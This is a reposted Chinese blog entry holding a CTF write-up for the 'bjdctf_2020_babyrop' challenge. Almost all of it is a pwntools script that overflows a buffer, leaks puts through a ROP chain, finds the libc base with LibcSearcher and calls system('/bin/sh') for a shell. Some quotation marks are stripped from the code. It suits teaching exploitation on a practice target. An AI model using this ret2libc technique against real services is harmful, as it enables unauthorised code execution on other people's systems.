码迷,mamicode.com
首页 > 其他好文 > 详细

bjdctf_2020_babyrop

时间:2020-02-15 18:18:35      阅读:185      评论:0      收藏:0      [点我收藏+]

标签:add   bin   port   context   找不到   str   from   import   symbols   

找不到libc文件  用LibcSearcher模块

from pwn import *
from LibcSearcher import *

context.log_level=debug
r=remote(node3.buuoj.cn,28426)
#r=process(‘./bjdctf_2020_babyrop‘)
elf=ELF(./bjdctf_2020_babyrop)
puts_got=elf.got[puts]
puts_plt=elf.plt[puts]
main_addr=elf.symbols[main]
pop_rdi=0x0000000000400733


payload=a*0x20+b*0x8
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.recvuntil(Pull up your sword and tell me u story!)
r.sendline(payload)
r.recv()

puts_addr=u64(r.recv(6).ljust(8,\x00))
libc=LibcSearcher(puts,puts_addr)
libc_base=puts_addr-libc.dump(puts)
system_addr=libc_base+libc.dump(system)
bin_addr=libc_base+libc.dump(str_bin_sh)

payload=a*0x20+b*0x8
payload+=p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
r.recvuntil(Pull up your sword and tell me u story!)
r.sendline(payload)

r.interactive()
       

 

bjdctf_2020_babyrop

标签:add   bin   port   context   找不到   str   from   import   symbols   

原文地址:https://www.cnblogs.com/gaonuoqi/p/12312777.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!